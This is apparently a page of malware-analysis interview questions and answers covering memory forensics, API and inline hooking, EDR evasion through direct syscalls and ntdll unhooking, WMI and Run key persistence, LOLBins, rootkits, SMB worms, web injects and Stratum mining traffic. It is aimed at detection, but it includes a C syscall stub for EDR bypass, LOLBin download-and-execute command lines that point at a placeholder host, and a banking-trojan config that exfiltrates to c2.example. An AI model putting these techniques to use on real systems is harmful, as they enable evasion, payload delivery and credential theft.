Q&A-38What does Volatility's malfind plugin find in a memory image, and how do you dump the injected code it reports?
The 90-second answer
malfind finds memory that looks like injected code: a private, committed virtual allocation that is executable, usually read-write-execute, and not backed by a file on disk. That pattern matches shellcode, a hollowed process image, or a PE loaded manually with VirtualAlloc and WriteProcessMemory. It does not prove injection on its own. JIT engines, browsers, and some .NET runtimes also allocate private executable memory, so you confirm the VAD, dump the bytes, and carve or disassemble them before calling it malware.
Finding it in Volatility 3
Start from the process list, because malfind needs a PID to walk that process's VAD tree. Running it against every process is slow and noisy on a large image.
vol -f mem.raw windows.pslist.PsList
vol -f mem.raw windows.malfind.Malfind --pid 1234
vol -f mem.raw windows.vadinfo.VadInfo --pid 1234 --address 0x1a2b0000The first command gives you the PID and image name. The second lists candidate regions. The third shows the VAD flags for one address, including whether it is private, committed, and what protection it has.
A typical hit looks like this. Figures below are from a labelled example image, not a claim about your host:
| Address | Protection | Private | File-backed | Read as |
|---|---|---|---|---|
| 0x1a2b0000 | PAGE_EXECUTE_READWRITE | yes | no | candidate injected code |
| 0x7ff6a1000000 | PAGE_EXECUTE_READ | no | yes, svchost.exe | normal image |
| 0x1a2c0000 | PAGE_READWRITE | yes | no | heap or stack, not code |
The middle row is the control. A normal module is executable but mapped from a file. The first row is executable, private, and has no backing file. That combination is what malfind is built to surface.
Dumping and checking the carve
In Volatility 3, malfind itself dumps each hit when you pass --dump. It writes one file per region, named for the PID and address, into the directory you give it. That is the raw VAD content, not a text listing.
vol -f mem.raw windows.malfind.Malfind --pid 1234 --dump ./dumps/
ls -l ./dumps/
file ./dumps/*
strings -n 6 ./dumps/<dumped-file> | head -40Do not use windows.memmap.MemMap for this step. MemMap prints a process memory map as text. It does not extract a VAD range as raw bytes, and redirecting its output to a .bin file gives you a listing, not code.
Then check what you actually got. If the first bytes are MZ and the DOS header points to a valid PE\0\0 signature, you have a dumped PE and can load it in Ghidra. If it starts with shellcode bytes and no header, disassemble it as raw x64 code at that address and look for the usual loader behaviour: API hashing, VirtualAlloc, a second allocation, or a jump into a decoded buffer. Also compare the dump size with the VAD commit charge from VadInfo. A short dump usually means the region was paged out of the image or you picked the wrong PID.
Failure modes to name in the interview
False positives come from JIT compilation in browsers and from .NET or Java runtimes that allocate executable private memory legitimately. Check the parent process and the surrounding VADs before reporting. False negatives happen when the injected region is PAGE_EXECUTE_READ rather than read-write-execute, when it is backed by a section object, or when the malware unmaps or reprotects the region after execution. In those cases malfind may miss it, and you fall back to pslist anomalies, handles, or a netscan correlation with the process that owns the socket. The point to land: malfind is a finder, not a verdict. The dump and the disassembly are the verdict.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-39How do API hooking, IAT hooking and inline hooking differ, and how would you detect each in a live process?
The 90-second answer
All three redirect a call that should go to a legitimate library function to attacker code. They differ in what they overwrite. IAT hooking overwrites a pointer in the importing module's Import Address Table. Inline hooking overwrites the first bytes of the target function itself, usually in the DLL. API hooking is the umbrella term for either, plus EAT hooking and detours installed with hardware breakpoints or VEH handlers. Detection is therefore a comparison: what the process has in memory against what the file on disk says it should have.
How each one works
A PE does not call kernel32!VirtualAlloc by name at runtime. The loader fills the IAT, an array in .idata, with the resolved address of each imported function. The call site does call qword ptr [iat_entry]. Change that entry and every call through that import goes to the hook.
Inline hooking leaves the IAT intact. It patches the target function in the loaded DLL, for example the first 5 bytes of ntdll!NtAllocateVirtualMemory on x64, with a relative jmp to a trampoline. The trampoline runs the hook logic, then jumps back to the original function at offset 5. A 14 byte absolute jump is common on x64 when the hook is more than 2 GB away.
| Technique | What is overwritten | Who sees it | Typical use |
|---|---|---|---|
| IAT hooking | Pointer in importer's IAT | Only that module's calls | Redirect one app's imports, easy to undo |
| Inline hooking | Prologue bytes of target function | Every caller in the process | Intercept all calls, including from other DLLs |
| EAT hooking | Pointer in DLL's Export Address Table | Every caller that resolves by export | Less common, breaks if caller caches the address |
IAT hooking is fragile in a specific way. If the malware resolves GetProcAddress("VirtualAlloc") at runtime, or calls through a delay load table, the patched IAT entry is bypassed. Inline hooking survives that, which is why rootkits and credential stealers prefer it for CryptUnprotectData, BCryptDecrypt and network APIs. Its cost is that it modifies shared DLL code, so a crash in the trampoline takes down the whole process, and a second hook on the same function has to chain correctly.
Detection: compare memory to disk
For IAT hooking, parse the PE headers from disk and from memory and compare each IAT entry to the address the export should resolve to. A mismatch where the entry points into the main module, a private allocation, or a section with PAGE_EXECUTE_READWRITE instead of into the named DLL is the signal. Tools such as PE-sieve, Hollows Hunter and Scylla automate this, but the check is simple enough to script:
# Python 3, pefile checked against Windows 11 23H2 samples
import pefile
pe = pefile.PE("sample.exe")
for entry in pe.DIRECTORY_ENTRY_IMPORT:
dll = entry.dll.decode().lower()
for imp in entry.imports:
if imp.address is None:
continue
# imp.address is the IAT slot in the file image.
# In a live dump, read the 8 byte value at that RVA and
# check it falls inside the mapped range of dll.
print(dll, imp.name, hex(imp.address))In a live process you read the same RVA from the dumped image. If the value does not land in the expected DLL's .text section, flag it and record where it does land. That target is usually a push/jmp stub or a trampoline in an injected region.
For inline hooking, compare the first bytes of exported functions in memory against the same bytes in the DLL file on disk, or against a clean copy from C:\Windows\System32 of the same build. Legitimate x64 prologues start with predictable patterns such as 4C 8B DC or 48 89 5C 24. A E9 relative jump, FF 25 indirect jump, or 48 B8 movabs jump at offset 0 is not a Microsoft prologue.
// C, checks one function in a live process
#include <windows.h>
#include <stdio.h>
int main(int argc, char** argv) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
BYTE* fn = (BYTE*)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
printf("%02X %02X %02X %02X %02X\n", fn[0], fn[1], fn[2], fn[3], fn[4]);
// E9 xx xx xx xx at offset 0 on a clean Windows 11 build = inline hook
return 0;
}A worked trace looks like this. Hypothetical figures, labelled as such: clean NtAllocateVirtualMemory begins 4C 8B DC 49 89 5B. In the infected process it begins E9 3A 12 00 00, a jump 0x123A bytes forward into a private allocation at 0x1F0000. The trampoline there ends with a jump back to NtAllocateVirtualMemory+5. That return address is the giveaway that the hook preserves the original call.
Failure modes and limits
Comparing to disk fails if the DLL on disk is itself trojanised, or if Windows has applied a hotpatch. Use a known good image from a clean VM of the same build number, not just any copy of ntdll.dll. It also fails for functions that legitimately use jump stubs, such as forwarded exports or API sets, so whitelist those by name.
IAT comparison fails for delay loaded imports and for manually resolved imports, because neither uses the standard IAT entry you checked. That is a false negative, not a false positive. If a sample shows no IAT hooks but still intercepts calls, look for inline hooks and for hardware breakpoints on the target function, which you can check with GetThreadContext and the Dr0 to Dr3 fields.
Protection checks help confirm. A trampoline in a MEM_PRIVATE, PAGE_EXECUTE_READWRITE region with no backing file is injected code. A trampoline inside the original DLL's .text that was made writable before patching is also suspicious, because legitimate code does not change its own section protection at runtime. PE-sieve reports both the mismatch and the protection, which is why I run it before I trust a manual byte comparison.
When I report a hook, I cite the module, the function, the original bytes, the patched bytes, and the address of the trampoline. That lets a second analyst reproduce the finding in a debugger without rerunning the sample.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-40Walk me through how direct syscalls and ntdll unhooking bypass user-mode EDR hooks, and how you would detect each in a sample?
The 90-second answer
Most user-mode EDR hooks sit in ntdll.dll. A normal call such as NtAllocateVirtualMemory runs the export stub in ntdll, which the EDR has overwritten with a jump to its own DLL for inspection. Direct syscalls skip that stub. The malware resolves the syscall number from a clean ntdll, builds its own stub in executable memory, and executes the syscall instruction itself. Unhooking takes the other route. The malware restores the in-memory ntdll stubs from a clean copy mapped from disk, so the next call through ntdll no longer detours to the EDR. Both defeat user-mode hooks only. Kernel callbacks and ETW Threat Intelligence still record the system call.
Why the hook works, and what the stub looks like
On x64 Windows a clean ntdll stub is short and predictable:
; NtAllocateVirtualMemory stub in ntdll.dll
mov r10, rcx ; 4C 8B D1
mov eax, 0x18 ; B8 18 00 00 00 ; SSN, varies by build
syscall ; 0F 05
ret ; C3The SSN is the index into the kernel System Service Descriptor Table. It changes between Windows builds, so hardcoding it is brittle. A hooked stub typically starts with a 5-byte near jump (E9 xx xx xx xx) or a short indirect jump to the EDR DLL. The kernel transition is identical either way. Only the user-mode path to it differs.
Direct syscalls
The sample parses the export directory of its own loaded ntdll, finds the target export, and reads the imm32 at offset 4 of the stub to recover the SSN. Variants in the style of Halo's Gate read the SSN from a neighbouring export and adjust for the offset, in case the target stub itself is hooked. It then writes a stub like the one above into a page it has made executable and calls it with the same arguments the ntdll function would take. Arguments follow the Windows x64 convention, with the first argument in rcx and copied to r10 by the stub.
// Illustrative only. SSN resolved at runtime, never hardcoded.
typedef NTSTATUS (*Fn)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
uint8_t stub[] = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0, 0, 0, 0, // mov eax, SSN (patched at runtime)
0x0F, 0x05, // syscall
0xC3 // ret
};
uint32_t ssn = ResolveSsnFromCleanNtdll("NtAllocateVirtualMemory");
memcpy(stub + 4, &ssn, 4);
VirtualProtect(stub, sizeof(stub), PAGE_EXECUTE_READWRITE, &old);
Fn call = (Fn)stub;
call(GetCurrentProcess(), &addr, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);Unhooking
The sample maps a fresh copy of C:\Windows\System32\ntdll.dll from disk, usually with NtMapViewOfSection into the current process, or reads the file and parses it manually. It then copies the .text bytes over the hooked in-memory stubs, or copies only the first 32 bytes of each stub it intends to call. A cheaper variant reads the clean stub from the KnownDlls section object, which the kernel keeps pristine. After the copy, calls through ntdll take the normal path again. The EDR may rehook on a timer or on DLL load events, so some samples unhook immediately before each sensitive call.
| Approach | What changes | What still sees it | Main fragility |
|---|---|---|---|
| Hooked ntdll call | Stub jumps to EDR DLL, then to kernel | EDR user-mode hook, kernel, ETW TI | None, this is the baseline |
| Direct syscall | No ntdll stub runs, syscall executes from malware memory | Kernel callbacks, ETW TI, memory scanners | SSN wrong after a Windows update, wrong calling convention |
| Unhooking | In-memory ntdll .text restored from disk copy | Kernel, ETW TI, hook integrity checks | Version mismatch between disk file and loaded ntdll, EDR rehooks |
How I detect each one in a sample
For unhooking, a clean stub alone proves nothing, because an unhooked system also has clean stubs. The signal is context. On a host where the EDR hook should be present, stubs that match the disk file exactly mean the hook is missing, and that absence is the finding. I also watch for the mechanism. In a debugger I break on NtMapViewOfSection and on reads of \System32\ntdll.dll by a process with no reason to open it, and I watch for writes into the ntdll .text range. A live memory scan that compares in-memory ntdll against the expected hooked state, rather than against disk, flags the same thing.
For direct syscalls, I look for the syscall instruction (0F 05) in executable memory outside ntdll, usually in a private RWX page allocated by the sample. Statically, the pattern is an export parser walking ntdll, a read of the imm32 at stub offset 4, and a small byte array containing 4C 8B D1 and 0F 05. Dynamically, Sysmon does not log individual API calls, so its silence proves nothing. ETW Threat Intelligence and kernel callback traces do record the allocation. A kernel level record of NtAllocateVirtualMemory with no corresponding user-mode hook event is the tell.
Failure modes worth naming in an interview
Direct syscalls fail when the SSN is stale. The call then lands on the wrong kernel service, which can crash the process or corrupt state, and the sample often has no fallback. Unhooking fails when the disk ntdll differs from the loaded one, for example after a partial update, because the restored stub then carries the wrong SSN. Both techniques also fail against kernel-mode hooks and against EDRs that hook below ntdll or rehook on a short interval. On Windows 11 with VBS and HVCI, arbitrary executable memory and kernel tampering are constrained further, but user-mode syscall stubs in private memory remain possible, which is why kernel telemetry matters more than the hook location.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-41Compare registry Run key persistence with a WMI permanent event subscription for fileless PowerShell execution: where does each store the payload, what triggers it, and which telemetry separates them?
The 90-second answer
Both keep the payload out of a file and run it inside a signed Microsoft binary. The difference is where the payload waits and what starts it. A registry Run key stores an encoded command in a value and Explorer or a logon script runs it at sign-in. A WMI permanent subscription stores the command inside a consumer object in the root\subscription namespace and WmiPrvSE.exe runs it when its filter fires, which can be a timer, not only logon. In both cases the final stage is usually powershell.exe decoding a string in memory, so disk forensics finds no executable to hash.
Registry persistence is the simpler chain. A loader writes a Base64 or Unicode encoded PowerShell command to HKCU\Software\Microsoft\Windows\CurrentVersion\Run or to a custom key it creates under HKCU\Software\. At logon the value is read and executed. The payload can also be read on demand by a small script that a scheduled task launches, which gives the attacker a second trigger if the Run key is removed.
WMI persistence removes the Run key entirely. Three objects are needed. __EventFilter defines the trigger, for example a timer interval or a user logon event. __EventConsumer defines the action. CommandLineEventConsumer holds a command line, and ActiveScriptEventConsumer holds VBScript or JScript in the consumer itself. __FilterToConsumerBinding links filter to consumer. After that, WmiPrvSE.exe spawns the command when the event occurs. The parent process in telemetry is therefore WmiPrvSE.exe, not Explorer, Office, or a logon script.
| Point | Registry Run key | WMI subscription |
|---|---|---|
| Payload location | Encoded string in a registry value | CommandLineTemplate or ScriptText in __EventConsumer |
| Trigger | Logon, or a script or task that reads the value | Timer, logon, or process start event defined in __EventFilter |
| Process that starts it | explorer.exe, rundll32.exe, or a logon script | WmiPrvSE.exe |
| Removal | Delete the value | Delete filter, consumer, and binding. Deleting only the consumer leaves a broken subscription that is easy to miss |
| Main blind spot | Custom keys outside Run are rarely audited | Most Run key and scheduled task sweeps never query root\subscription |
# Compare the two stores on a suspect host
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -ErrorAction SilentlyContinue
Get-WmiObject -Namespace root\subscription -Class __EventConsumer |
Select-Object Name, CommandLineTemplate, ScriptText
Get-WmiObject -Namespace root\subscription -Class __EventFilter |
Select-Object Name, QueryHow I separate them in telemetry
For the registry path I look for Sysmon Event 13, registry value set, under Run keys or unusual custom keys, followed by Sysmon Event 1 for powershell.exe with a long -EncodedCommand or -Command argument at logon. For WMI I look for Sysmon Events 19, 20, and 21, which record creation of a WMI filter, consumer, and binding, and Event 1 where the parent is WmiPrvSE.exe and the child is powershell.exe, cmd.exe, wscript.exe, or cscript.exe. That parentage is the fastest separator. A PowerShell process whose parent is WmiPrvSE.exe and which has no matching Run key write points to WMI.
PowerShell Event 4104, script block logging, helps in both cases. It records the script after IEX, concatenation, and -EncodedCommand decoding, so I can read the deobfuscated block instead of guessing from the command line. If 4104 was not enabled, the Sysmon command line and the decoded registry value or WMI consumer text are what I recover statically. I decode a copy offline first and do not execute it on the host.
Trade-off and failure mode
Registry persistence is easier to build and easier to find. WMI persistence is harder to build, needs admin rights to write to root\subscription on most builds, and survives removal of Run keys and scheduled tasks, which is why it is chosen when the attacker expects cleanup. Its failure mode is the opposite. Because the subscription lives in the WMI repository, a defender who enumerates only files, Run keys, and tasks will report the host clean while the timer keeps firing. On removal I delete all three WMI objects, delete the registry value if present, and re-check after one trigger interval. Recreation within that window means a second loader is still active.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-42What makes mshta, rundll32, regsvr32 and certutil attractive as LOLBins, and what command line would you check first to spot abuse?
The 90-second answer
LOLBins are Microsoft-signed binaries already allowed through application allowlists and egress rules. Attackers do not need to drop their own executable. They abuse a trusted binary to fetch, decode, or execute the next stage, so the malicious action looks like a legitimate admin or system task.
For mshta, rundll32, regsvr32, and certutil, I start with the command line and the parent process in Sysmon Event ID 1 or Windows 4688. A signed binary alone proves nothing. The abuse shows in arguments that point at a remote URL, a scriptlet, or a decode operation, plus a parent that should never spawn it, such as Word, Outlook, or a browser spawning mshta.
| Binary | Legitimate use | Common abuse pattern | First signal to check |
|---|---|---|---|
| mshta.exe | Run HTML applications | mshta http://host/payload.hta or mshta javascript:... | Remote URL or inline script in command line, Office parent |
| rundll32.exe | Load DLL entry points | rundll32 javascript:"\..\mshtml,RunHTMLApplication";... | javascript: or mshtml,RunHTMLApplication in arguments |
| regsvr32.exe | Register COM controls | regsvr32 /s /u /i:http://host/file.sct scrobj.dll | /i: with a URL, /u with scrobj.dll, network connection from regsvr32 |
| certutil.exe | Manage certificates, encode and decode files | certutil -urlcache -f http://host/payload.bin payload.bin or certutil -decode payload.txt payload.exe | -urlcache, -decode, or -encode with a Temp or AppData path |
How I analyse a hit
I pull the full process tree, not just the alerting process. I want the grandparent, the user context, the working directory, and any child processes. A rundll32 spawned by svchost.exe during a patch window is different from the same binary spawned by WINWORD.EXE at 09:14 with a URL in its arguments.
I then check what the binary did next. Did it make a network connection, write a file, or spawn cmd.exe, PowerShell, or another LOLBin? That chain tells me whether certutil was used to download, decode, or both, and whether mshta executed script or just rendered a lure.
# Sysmon Event ID 1, LOLBin abuse hunt (PowerShell 7)
Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-Sysmon/Operational'; Id = 1 } |
Where-Object { $_.Message -match 'mshta\.exe|rundll32\.exe|regsvr32\.exe|certutil\.exe' } |
Select-Object TimeCreated, @{ n = 'Parent'; e = { ($_.Message | Select-String 'ParentImage:\s*(.+)' ).Matches.Groups[1].Value } },
@{ n = 'CommandLine'; e = { ($_.Message | Select-String 'CommandLine:\s*(.+)' ).Matches.Groups[1].Value } }I look for the specific switches in that output. For regsvr32, /i: followed by http: is the classic scriptlet fetch. For certutil, -urlcache -f downloads and -decode turns Base64 or hex text into a binary. For rundll32, the string javascript: matters more than the binary name. For mshta, a local .hta file in Temp with a remote include is different from a direct URL, but both point to script execution outside the browser.
False positives come from software deployment, SCCM or Intune tasks, and admin scripts that legitimately call certutil to decode a certificate. I compare the parent, the destination path, and the hash of any decoded file against that baseline before calling it malicious. A decoded file that lands in C:\Users\Public\ and is then executed is a different case from certutil decoding a .cer file in a managed software folder.
Detection follows the same logic. I block or alert on the argument patterns and parent relationships, not on the binary name alone. Blocking mshta.exe outright breaks legacy help systems in some estates, so I prefer an allowlist by parent and command line, with network egress from these processes denied by default for standard users.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-43Walk me through how user-mode, kernel-mode and bootkit rootkits hide differently, and how you would detect each on a live Windows host?
The 90-second answer
A rootkit hides by lying at the layer it controls. A user-mode rootkit lies to applications through API hooking. A kernel-mode rootkit lies to the operating system itself, so every application that asks the kernel gets the same false answer. A bootkit lies before the operating system loads, so the kernel it subverts cannot be trusted to report on it. Detection therefore has to come from a layer below the lie, or from outside the infected system entirely.
Assume a Windows 10 or 11 host with Secure Boot and driver signature enforcement on, and that you can take a memory image and an offline disk image. That assumption matters, because on a live host a kernel rootkit can hide its own driver from Task Manager, from dir, and from most endpoint agents running in the same kernel.
| Type | Where it lives | Typical hiding | What still sees it |
|---|---|---|---|
| User-mode | DLL injected into explorer.exe or all processes, IAT or inline hooks in ntdll.dll and kernel32.dll | Hides files, registry keys, processes and network ports from Win32 API calls | Raw disk parsing, a clean process that reads the filesystem directly, memory scan for hooked prologues |
| Kernel-mode | Signed-but-vulnerable or stolen-certificate driver, or a bootkit-loaded driver | SSDT or IRP hooking, DKOM unlinking of EPROCESS, filter drivers intercepting file and registry queries | Cross-view diff against raw structures, Volatility pslist vs psscan, driver integrity and PatchGuard, offline scan |
| Bootkit | MBR, VBR, EFI System Partition, or UEFI firmware | Replaces boot code, loads its driver before the kernel, patches kernel load checks | Offline MBR and EFI comparison, TPM PCR measurements, Secure Boot variable dump, firmware dump with CHIPSEC |
User-mode: hook and cross-view
User-mode rootkits hook the functions applications call to enumerate the system. Inline hooking overwrites the first bytes of NtQuerySystemInformation or ZwEnumerateKey with a jump to the rootkit DLL. IAT hooking rewrites the import table of a target process. The file still exists on disk, so a high-level listing and a low-level listing disagree.
The check is a comparison, not a listing. In WinDbg Preview attached to a suspect process, disassemble the in-memory export and compare it to the same function in the clean ntdll.dll on disk:
0: kd> x ntdll!NtQuerySystemInformation
0: kd> u ntdll!NtQuerySystemInformation
ntdll!NtQuerySystemInformation:
00007ff8`a1b20010 4c8bdc mov r11,rsp
00007ff8`a1b20013 48895b08 mov qword ptr [rbx+8],rbxA clean prologue starts with mov r11,rsp (4c 8b dc). A hooked version starts with a jump (e9, ff 25, or a push of the target address). I dump the process memory with Volatility or DumpIt and run the same comparison offline, because a rootkit that hooks only cmd.exe or only the AV scanner process will not be visible from a different process. The second check is cross-view: compare the live file and registry enumeration to an offline parse of the disk image and registry hives on a forensic workstation. A file present offline but absent live, with no hook in the enumerating process, points to a kernel filter rather than a user-mode hook.
Kernel-mode: DKOM and driver integrity
Kernel rootkits do not need to hook every application. They unlink their process from the kernel list that Task Manager walks, or they install a minifilter that removes their file from directory enumeration results. The classic DKOM trick removes an EPROCESS entry from PsActiveProcessHead while leaving the thread schedulable. windows.pslist in Volatility 3 walks that list and misses the process. windows.psscan scans the pool for EPROCESS structures and finds the orphaned entry.
# Volatility 3, against a memory image taken with DumpIt or WinPmem
vol -f memory.raw windows.pslist
vol -f memory.raw windows.psscan
vol -f memory.raw windows.malfind
vol -f memory.raw windows.driversA process in psscan but not pslist is a DKOM candidate. I then dump that EPROCESS and check its token, image path and parent. A second check is driver integrity. On modern Windows, PatchGuard (Kernel Patch Protection) and HVCI block classic SSDT hooking, so kernel rootkits have shifted to vulnerable signed drivers, BYOVD attacks, and filter drivers. I list loaded drivers and verify signatures:
Get-CimInstance Win32_SystemDriver | Where-Object State -eq 'Running' |
Select-Object Name, PathName, StartMode
Get-WindowsDriver -Online | Where-Object ProviderName -ne 'Microsoft Corporation'An unsigned driver should not load with signature enforcement on. A signed but vulnerable driver with a known CVE is the more likely finding, and I check it against Microsoft's vulnerable driver blocklist. If the driver is already loaded and hiding, the offline scan is decisive. I mount the disk image in a forensic workstation, parse the registry hives and the driver directory directly, and compare the on-disk driver list to the live list from memory. A driver present in memory but absent from the registry, or a file present on disk but absent from the live directory listing, is the cross-view diff.
Bootkits: measure the boot chain
A bootkit such as TDL-4 or LoJax runs before Windows. It can patch the kernel as it loads, disable signature checks in memory, and then hide itself. Live Windows tools will report a clean boot. Detection has to measure what happened before Windows started.
Offline, I hash the first 512 bytes of the MBR, the VBR, and every .efi binary on the EFI System Partition, and compare them to a known-good baseline for that build. I dump EFI variables with bcdedit /enum firmware and, on UEFI systems, read BootOrder, Boot####, PK, KEK and db to see if an unknown binary was enrolled. TPM PCRs 0, 2, 4 and 7 record firmware, option ROM, boot manager and Secure Boot state. A PCR 7 change after a clean update is a lead, not a verdict, because legitimate updates change it too. For firmware rootkits I use CHIPSEC to dump SPI flash and compare it to the vendor image. The key point is that a bootkit survives an OS reinstall that leaves the EFI partition intact, so remediation is rebuilding the boot chain from known-good media, not just deleting a file in Windows.
What I would report
I would not claim a clean bill of health from a live scan alone. I would report the cross-view result, the pslist versus psscan diff, the driver signature list, and the offline boot hash comparison, with the baseline used for each. If all three layers agree, that is strong evidence. If the live view is clean but the offline view differs, I trust the offline view and treat the host as compromised until the boot chain and drivers are rebuilt.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-44Walk me through how a worm uses SMB to propagate and move laterally, and how you would detect that propagation in network and host telemetry?
The 90-second answer
A worm that spreads over SMB usually does one of two things. It exploits a remote code execution flaw in the SMB server, as EternalBlue did against SMBv1 in MS17-010, or it authenticates to a share with stolen or guessed credentials and drops and runs a payload, as PsExec style tools and many ransomware worms do. Both look like lateral movement from the network side: a host that was a victim minutes earlier starts initiating outbound TCP 445 connections to peers it never talked to before. On the host, the tell is a new service or scheduled task created over the network, a process spawned by services.exe or smss.exe, and a file write to ADMIN$ or C$.
I would separate the two mechanisms before I called it a worm. Exploitation needs no valid credentials and often crashes srv.sys or leaves the target unstable. Credential based spread needs a logon, so you get Windows event 4624 type 3 or 10 on the target, plus 5140 and 5145 for the share access. That distinction decides containment: patching and blocking 445 stops the first, resetting credentials and disabling SMBv1 and unused shares stops the second, and you usually need both.
How the spread actually works
For the exploit path, the worm scans for hosts listening on 445, negotiates SMB, and checks for the vulnerable transform. EternalBlue abused the SMBv1 transaction handling to corrupt kernel memory and get code running as SYSTEM without a password. WannaCry and NotPetya then used that foothold to run the same scan from the new host, which is why a single workstation could infect a whole subnet in minutes. The scan rate matters. A thread that tries 50 hosts in parallel across a /24 can touch all 254 addresses in well under a minute, and each successful infection adds another scanner, so growth is exponential until the subnet is saturated.
For the credential path, the worm or the operator reuses what is already on the box: cached hashes from LSASS, plaintext passwords from a config file, or a domain account with local admin rights. It connects to \\target\ADMIN$, copies the binary, then creates a service with CreateService or runs psexec-like code that starts it. WMI (wmic process call create) and WinRM are common variants of the same idea. The payload runs as the account used for the logon, often a local administrator, which is enough to install a service.
| Time | Source | Destination | Telemetry | Reading |
|---|---|---|---|---|
| 09:14:02 | WS-104 | 10.10.4.0/24 | Zeek conn.log, many TCP 445 SYNs, few completions | Scanning phase, most hosts patched or filtered |
| 09:14:19 | WS-104 | 10.10.4.37 | SMB negotiate SMB1, then large transaction | Exploit attempt against SMBv1 |
| 09:14:21 | 10.10.4.37 | WS-104 | Sysmon 3, services.exe to 445, plus 7045 service install | Payload installed as a service on the target |
| 09:15:03 | 10.10.4.37 | 10.10.4.0/24 | Same scan pattern, new source | Second generation scanner, worm confirmed |
Detection and failure modes
In the network data I look for a host initiating 445 to many distinct destinations in a short window, SMB1 negotiate packets, and repeated failed logons (4625) followed by a success (4624) from the same source. Zeek smb.log and Suricata SMB rules give the protocol detail that a plain flow record lacks. A single host talking to 100 peers on 445 in five minutes is not normal workstation behaviour in most environments, where 445 is server to server or workstation to file server only.
On the host, Sysmon 5145 records the share and the relative path written, so ADMIN$\evil.exe written by a remote logon is a strong signal. Sysmon 1 shows the parent: a service binary whose parent is services.exe and which was created minutes after a network logon fits the credential path. Event 7045 records the service name and image path. I would also check for the exploit path differently, because there is no logon to find. There you rely on the SMB1 traffic, the service creation, and sometimes a srv.sys crash or a reboot, and you confirm the patch state with a vulnerability scan rather than with logon records.
Two failure modes trip people up. First, blocking 445 at the perimeter does nothing for internal spread, since the worm never crosses the perimeter. Second, disabling SMBv1 on servers but leaving it on older workstations and printers leaves a foothold that can re-seed the network. When I scope an incident I therefore list every host that both received a 5145 write and originated outbound 445 scans, treat that intersection as the infected set, and only close the case when a rescan shows no host initiating 445 to peers outside its normal server list.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-45A banking trojan in your sandbox adds a fake field to a bank login page, but the real form still submits to the bank: is that a web inject or form grabbing, and what traffic would prove which one is happening?
The 90-second answer
That is a web inject, not form grabbing. The deciding detail is the fake field. Form grabbing copies what the user types into the real form and sends a copy elsewhere. It does not change the page. A web inject changes the page the browser renders, usually by adding HTML or JavaScript after the bank page loads. If your sandbox shows a field the clean page does not have, the trojan has modified the DOM.
The real form still submitting to the bank does not rule out theft. Most injects leave the legitimate submission intact so the user logs in normally and does not suspect anything. The theft happens in parallel. The injected script copies the field values into a hidden field, or the trojan hooks the submit path and POSTs a second copy to its own server.
How to prove which one you have
Load the same bank URL in a clean browser profile and in the infected profile. Save the rendered DOM from both, not the raw HTML, because injects often run after load. Diff the two. Then submit the form with a unique canary in each field, for example CANARY_USER_4815, and read the proxy log.
| Observation | Web inject | Form grabbing |
|---|---|---|
| DOM diff against clean profile | Extra input, form, script tag or overlay | No difference |
| Canary in a field the clean page never defined | Yes, that is the injected field | No |
| Canary sent to a non-bank host after submit | Often yes, copied from the injected field | Yes, that is the main exfiltration path |
| Page looks altered to the user | Yes | No |
A worked trace from a sandbox run makes the distinction concrete. Hypothetical values, labelled as such:
| Time | Process | Destination | Body contains |
|---|---|---|---|
| 10:00:01 | chrome.exe | bank.example/login | user=CANARY_USER_4815 |
| 10:00:01 | chrome.exe | c2.example/gate.php | user=CANARY_USER_4815&pass=CANARY_PASS_9021 |
| 10:00:02 | chrome.exe | bank.example/login | user=CANARY_USER_4815&extra=CANARY_USER_4815 |
The first row is the legitimate login. The second row is the copy. The third row shows the canary appearing in an extra parameter the clean form never sends. Rows two and three together point to a web inject that both alters the form and exfiltrates. Form grabbing alone would produce rows one and two, with no DOM diff and no extra parameter.
Why the config matters
Banking trojans carry a list of target URLs and the inject file for each one. A decoded config might look like:
{
"injects": [
{"url": "https://bank.example/login", "file": "login.html"},
{"url": "https://bank.example/transfer", "file": "transfer.html"}
],
"exfil": "https://c2.example/gate.php"
}Serve each URL from a local fake bank and test them one by one. A sample that only injects on the transfer page will look clean if you only load the homepage. The config tells you which pages to check, and the inject file tells you what the altered page should contain, so you can compare it directly with the rendered DOM.
Common trap
Do not call it form grabbing just because credentials left the host. That is the outcome, not the mechanism. If the page was altered, report a web inject with form data theft. If the page was untouched but the canary still reached the C2, report form grabbing. The distinction changes your hunt. A web inject means you look for the injected DLL in the browser process and the hook on the HTTP functions it uses to rewrite the page. Form grabbing with no inject means you look for hooks on form access and keyboard input instead, and for the buffer where field values sit in browser memory before they are sent.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-46What Stratum method name identifies a cryptominer submitting a share to its pool in a packet capture?
The 90-second answer
mining.submit. That is the Stratum method a miner sends when it finds a share that meets the pool difficulty. In a capture, a plain text JSON object with "method":"mining.submit" on a long lived TCP connection is the marker. The pool replies with result: true for an accepted share or an error for a stale or invalid one.
Stratum is newline delimited JSON-RPC 1.0 over TCP, commonly port 3333, 14444 or 5555. It is not HTTP. The miner first sends mining.subscribe and mining.authorize, the pool sends mining.notify with a job, and the miner hashes locally until a nonce satisfies the target. Only then does it send mining.submit.
{"id": 7, "method": "mining.submit", "params": ["48edfser...W9Xc.rig-04", "job_9f31", "00000001", "5f3a1c2e", "00000000"]}
